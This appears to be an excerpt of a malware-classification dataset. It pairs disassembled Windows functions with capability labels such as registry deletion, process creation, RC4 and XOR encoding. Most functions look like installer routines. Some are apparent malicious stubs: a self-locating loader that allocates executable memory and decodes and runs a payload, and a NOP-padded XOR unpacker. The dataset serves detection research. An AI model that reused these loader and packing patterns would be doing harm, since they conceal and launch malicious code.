joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40798d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40c58c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x18], eax
call fcn.00403dc7
xor esi, esi
mov ebx, eax
cmp dword [0x40d44c], esi
jne 0x407a6d
push esi
push esi
push 0x401cb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x407b4f
push 0x401cc8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407b4f
push eax
call fcn.00403d52
mov dword [esp], 0x401cd4
push edi
mov dword [0x40d44c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.00403d52
mov dword [esp], 0x401ce4
push edi
mov dword [0x40d450], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.00403d52
mov dword [esp], 0x401cf8
push edi
mov dword [0x40d454], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.00403d52
pop ecx
mov ecx, eax
mov dword [0x40d45c], ecx
test ecx, ecx
je 0x407a66
push 0x401d14
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.00403d52
pop ecx
mov dword [0x40d458], eax
jmp 0x407a72
mov eax, dword [0x40d458]
jmp 0x407a78
mov eax, dword [0x40d458]
mov ecx, dword [0x40d45c]
cmp eax, ebx
je 0x407ade
cmp ecx, ebx
je 0x407ade
push eax
call fcn.00403cdd
push dword [0x40d45c]
mov dword [ebp - 0x14], eax
call fcn.00403cdd
mov edi, eax
mov eax, dword [ebp - 0x14]
pop ecx
pop ecx
test eax, eax
je 0x407ade
test edi, edi
je 0x407ade
mov ecx, eax
call dword [0x40f130]
mov eax, dword [ebp - 0x14]
call eax
test eax, eax
je 0x407ad5
lea ecx, [ebp - 0x20]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
mov ecx, edi
call dword [0x40f130]
call edi
test eax, eax
je 0x407ad5
test byte [ebp - 8], 1
jne 0x407ade
or dword [ebp + 0x10], 0x200000
jmp 0x407b27
mov eax, dword [0x40d450]
cmp eax, ebx
je 0x407b27
push eax
call fcn.00403cdd
mov edi, eax
pop ecx
test edi, edi
je 0x407b27
mov ecx, edi
call dword [0x40f130]
call edi
mov esi, eax
test esi, esi
je 0x407b27
mov eax, dword [0x40d454]
cmp eax, ebx
je 0x407b27
push eax
call fcn.00403cdd
mov edi, eax
pop ecx
test edi, edi
je 0x407b27
push esi
mov ecx, edi
call dword [0x40f130]
call edi
mov esi, eax
push dword [0x40d44c]
call fcn.00403cdd
mov edi, eax
pop ecx
test edi, edi
je 0x407b4f
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push esi
call dword [0x40f130]
call edi
jmp 0x407b51
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040357e
leave
ret
Function at 0x40b22e
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x40c58c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
xor esi, esi
pop eax
mov dword [ebp - 0xc], esi
call fcn.0040afc0
mov eax, esp
lea ecx, [ebp - 0x34]
push 0x1c
push ecx
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40b33d
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x54]
push 0x401330
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b2bf
push 0x40268c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40b2bf
lea eax, [ebp - 0xc]
mov ecx, edi
push eax
call dword [0x40f130]
call edi
cmp eax, 1
jne 0x40b2bf
cmp dword [ebp - 0xc], esi
jbe 0x40b2bf
mov esi, dword [ebp - 0xc]
mov dword [ebp - 8], esi
lea eax, [ebp - 8]
push eax
lea edi, [ebx - 1]
push edi
push esi
call fcn.00404aa6
add esp, 0xc
test eax, eax
js 0x40b33d
mov esi, dword [ebp - 8]
not edi
and esi, edi
mov dword [ebp - 8], esi
je 0x40b2f5
lea eax, [ebp - 8]
push eax
push ebx
push esi
call fcn.00404aa6
add esp, 0xc
test eax, eax
js 0x40b33d
mov esi, dword [ebp - 8]
lea eax, [ebx + ebx]
cmp esi, eax
jae 0x40b2fe
mov esi, eax
mov eax, dword [ebp - 0x14]
mov edi, ebx
neg edi
add eax, ebx
and edi, dword [ebp - 0x10]
sub edi, esi
cmp edi, eax
jb 0x40b33d
push 4
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x40b33d
lea ecx, [ebp - 0x18]
push ecx
push 0x104
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40b33d
xor eax, eax
inc eax
jmp 0x40b33f
xor eax, eax
lea esp, [ebp - 0x64]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040357e
leave
ret
Function at 0x403161
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406a03
xor ebx, ebx
cmp eax, ebx
jne 0x403244
test byte [ebp + 0x10], 2
je 0x4031c2
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x403229
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x4031fe
test edi, edi
jne 0x403229
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00403161
test eax, eax
jne 0x403207
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x4031d7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406f63
test eax, eax
jne 0x403239
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x403244
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x403244
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x406083
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x40a420
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x40a410
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4060d4
xor eax, eax
jmp 0x4060fb
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x4060fb
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
jne 0x4060d0
call esi
pop esi
leave
ret 4

Function at 0x406135
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x4286e0], 0x44
push eax
xor eax, eax
push 0x4286e0
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406174
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x406178
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x406216
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00406661
mov edi, eax
cmp edi, 0xffffffff
je 0x406257
test byte [esp + 0x10], 1
push esi
je 0x406239
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40623f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x406248
xor eax, eax
inc eax
jmp 0x406259
test byte [esp + 0x10], 4
jne 0x406257
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x40625e
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.0040656d
test bl, 8
mov dword [ebp - 8], eax
je 0x40629d
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x42c308], eax
jmp 0x40641a
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4062b7
test eax, eax
je 0x4063c8
test bl, 2
je 0x4063c8
mov esi, 0x4276e0
push edi
push esi
call fcn.00406b96
cmp dword [ebp + 8], 0
je 0x4062d6
push str..
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x4062dc
push edi
call fcn.0040646d
cmp word [edi], 0
jne 0x4062ec
cmp word [0x4276e0], 0x5c
jne 0x4062f7
push 0x40c014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4063bd
cmp word [ebp - 0x22c], 0x2e
jne 0x406341
cmp word [ebp - 0x22a], 0
je 0x4063a0
cmp word [ebp - 0x22a], 0x2e
jne 0x406341
cmp word [ebp - 0x228], 0
je 0x4063a0
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406b96
test byte [ebp - 0x258], 0x10
je 0x40636c
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4063a0
push dword [ebp + 0xc]
push edi
call fcn.0040625e
jmp 0x4063a0
push dword [ebp - 4]
push edi
call fcn.00406216
test eax, eax
jne 0x406398
cmp dword [ebp - 4], eax
je 0x406390
push edi
push 0xfffffffffffffff1
call fcn.00405b9f
push 0
push edi
call fcn.00406956
jmp 0x4063a0
inc dword [0x42c308]
jmp 0x4063a0
push edi
push 0xfffffffffffffff2
call fcn.00405b9f
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406319
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x4063c8
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40641a
cmp dword [ebp - 8], esi
jne 0x4063dc
inc dword [0x42c308]
jmp 0x40641a
push edi
call fcn.00406ecc
test eax, eax
je 0x40641a
push edi
call fcn.00406421
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00406216
test eax, eax
jne 0x406412
cmp dword [ebp - 4], esi
je 0x4063d4
push edi
push 0xfffffffffffffff1
call fcn.00405b9f
push esi
push edi
call fcn.00406956
jmp 0x40641a
push edi
push 0xffffffffffffffe5
call fcn.00405b9f
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40656d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x427ee0
push esi
call fcn.00406b96
push esi
call fcn.00406510
mov edi, eax
test edi, edi
jne 0x40658e
xor eax, eax
jmp 0x4065e6
push edi
call fcn.00406e1d
test byte [0x42c27c], 0x80
je 0x4065ab
mov ax, word [edi]
test ax, ax
je 0x40658a
cmp ax, 0x5c
je 0x40658a
sub edi, esi
sar edi, 1
jmp 0x4065c5
call fcn.00406ecc
test eax, eax
je 0x4065bf
test byte [eax], 0x10
je 0x40658a
push esi
call fcn.0040646d
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x4065b1
call fcn.00406421
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x406661
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406680
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x406686
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x4066b5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40c598]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40c59c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x406705
test edi, edi
jne 0x4066c2
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x4066ff
Function at 0x4067dc
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x428d78], 0x55004e
mov dword [0x428d7c], 0x4c
mov edi, 0x400
mov ebp, 0x428d78
je 0x406832
push 1
push 0
push esi
call fcn.00406686
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406951
cmp eax, edi
jg 0x406951
mov esi, 0x429578
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406951
cmp eax, edi
jg 0x406951
push esi
push ebp
push str._ls_ls_r_n
push 0x428978
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42c274]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00406bd3
push 4
push 0xc0000000
push esi
call fcn.00406686
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x406951
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40694a
push edi
push esi
push ebp
call fcn.00406709
test eax, eax
je 0x40694a
push str._Rename__r_n
push esi
call fcn.004065eb
test eax, eax
jne 0x4068e8
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40691d
add eax, 0xa
push 0x40c5a0
push eax
call fcn.004065eb
mov ebp, eax
test ebp, ebp
je 0x406919
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x40690a
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406904
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x40691f
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x428978
push eax
call fcn.00406641
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00406738
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406956
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x406979
push dword [esp + 8]
push dword [esp + 8]
call fcn.004067dc
pop ecx
pop ecx
inc dword [0x42c310]
ret 8
Function at 0x406a64
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406a03
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x406ad4
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x406ad4
cmp dword [ebp + 0xc], 1
je 0x406ad8
cmp dword [ebp + 0xc], 2
je 0x406ad8
and word [esi], 0
pop esi
leave
ret 0x14
Function at 0x406ef3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406f17
xor eax, eax
test eax, eax
je 0x406f2a
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406f2a
xor ecx, ecx
jmp 0x406f2d
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40c014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x407050
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x429d7c], 0
push esi
jne 0x407087
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407061
mov dword [ecx*4 + 0x429d78], eax
inc ecx
cmp ecx, 0x100
jl 0x40705c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4070b8
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x429d78]
xor eax, esi
inc ecx
dec edx
jne 0x40709a
pop edi
not eax
pop esi
ret 0xc

Function at 0x4078d8
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 0x10]
push esi
mov esi, dword [esp + 8]
push 0
push 0
push esi
mov dword [esi + 8], eax
mov eax, dword [esp + 0x1c]
push 0x40790f
push 0
push 0
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
pop esi
test eax, eax
jne 0x40790c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
ret
Function at 0x10049ab8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10049ac7
pop dword [ebp - 0x1c]
mov eax, 0x10049ac7
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x1d476f62
add dword [ebp - 0x2c], 0x310ad5e9
mov dword [ebp - 0x28], 0x6fada322
add dword [ebp - 0x28], 0xc285a923
mov dword [ebp - 0x24], 0x319f9953
add dword [ebp - 0x24], 0x1aacaadb
mov dword [ebp - 0x20], 0xa4ec6c77
sub dword [ebp - 0x20], 0xa4ec6c77
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x1d28483
sub eax, 0xf1ccf377
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x17151d7c
sub dword [ebp - 0x2c], 0xa2a2b426
mov dword [ebp - 0x28], 0x1580a918
add dword [ebp - 0x28], 0x2bebb85d
mov dword [ebp - 0x24], 0xebf8a9cf
sub dword [ebp - 0x24], 0x88893d63
mov dword [ebp - 0x20], 0x65f0db5d
sub dword [ebp - 0x20], 0x65f0db5d
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x72c4cd23
add eax, 0x9d40c31d
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x5c96c
push 0
call eax
mov ecx, 0x4443
xor edx, edx
add edx, eax
mov ebx, 0x42c4349c
add ebx, 0xcd425f64
add ebx, dword [ebp - 0x1c]
mov edi, 0xf4a2a398
xor dword [ebp - 0xc], ebx
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0xbf5380cc
sub esi, edi
mov dword [ebp - 0x14], 0x28fe62f8
mov dword [edx], esi
sub dword [ebp - 8], 0x8a11048
add edx, 4
add ebx, 0x87ceed54
add ebx, 0x783112b0
loop 0x10049bda
add eax, 0xbac4fe0c
sub eax, 0xbac3fa2d
xor ebx, ebx
add ebx, eax
add eax, 0x29db8bc2
add eax, 0xd6247443
mov ecx, 0xa215bb8c
add ecx, 0x6dea4474
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1b476629
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x55262f61
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4029e2
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20c
mov eax, dword [0x4370f0]
xor eax, esp
mov dword [esp + 0x208], eax
mov eax, dword [ebp + 8]
mov edx, str.diouiyAYUs
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
call fcn.00404960
push eax
call fcn.00404be9
mov edi, dword [ebp + 0x10]
xor esi, esi
pop ecx
mov ebx, esi
mov edx, str.ghbtfdg
call fcn.00404960
push eax
call fcn.00404be9
mov eax, ebx
mov byte [esp + ebx + 0x114], bl
cdq
idiv dword [ebp + 0x14]
pop ecx
mov al, byte [edx + edi]
mov byte [esp + ebx + 0x10], al
inc ebx
cmp ebx, 0x100
jl 0x402a1e
mov edi, esi
mov ebx, esi
mov edx, str.XAS56
call fcn.00404960
push eax
call fcn.00404be9
mov dl, byte [esp + edi + 0x114]
movzx eax, byte [esp + edi + 0x14]
pop ecx
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x402a84
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x110]
mov byte [esp + edi + 0x110], al
inc edi
mov byte [esp + ebx + 0x110], dl
cmp edi, 0x100
jl 0x402a50
mov edx, str.HGhlu
mov edi, esi
call fcn.00404960
push eax
call fcn.00404be9
mov ebx, esi
pop ecx
cmp dword [ebp + 0xc], ebx
jle 0x402b30
mov edx, str.jkbci9u8
call fcn.00404960
push eax
call fcn.00404be9
inc esi
pop ecx
and esi, 0x800000ff
jns 0x402ade
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esp + esi + 0x110]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x402afa
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
mov byte [esp + edi + 0x110], cl
movzx eax, byte [esp + esi + 0x110]
mov ecx, dword [esp + 0xc]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp + 0xc]
jl 0x402abc
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004094ce
mov esp, ebp
pop ebp
ret
Function at 0x402b45
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
mov eax, dword [0x4370f0]
xor eax, esp
mov dword [esp + 0xc], eax
push ebx
push esi
push edi
mov edi, ecx
lea eax, [edi + 0x10]
mov esi, dword [eax]
mov ebx, esi
xor ebx, 0x235
mov dword [esp + 0x10], eax
cmp dword [edi + 0x14], 0x10
jb 0x402b71
mov edi, dword [edi]
shr esi, 2
test esi, esi
je 0x402bcb
push ebp
mov ebp, edi
mov dword [esp + 0x10], esi
push edi
push esi
push str._x_and__p
call fcn.0040120b
push 4
lea eax, [esp + 0x28]
push ebp
push eax
call fcn.0040a400
imul ecx, dword [esp + 0x30], 0x5bd1e995
add esp, 0x18
imul ebx, ebx, 0x5bd1e995
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e995
xor ebx, eax
mov dword [esp + 0x18], eax
sub dword [esp + 0x10], 1
jne 0x402b7f
mov eax, dword [esp + 0x14]
pop ebp
mov eax, dword [eax]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x402bf3
sub eax, 1
je 0x402be9
sub eax, 1
jne 0x402c01
movsx ecx, byte [edi + esi*4 + 2]
shl ecx, 0x10
movsx eax, byte [edi + esi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [edi + esi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e995
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e995
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.004094ce
add esp, 0x10
ret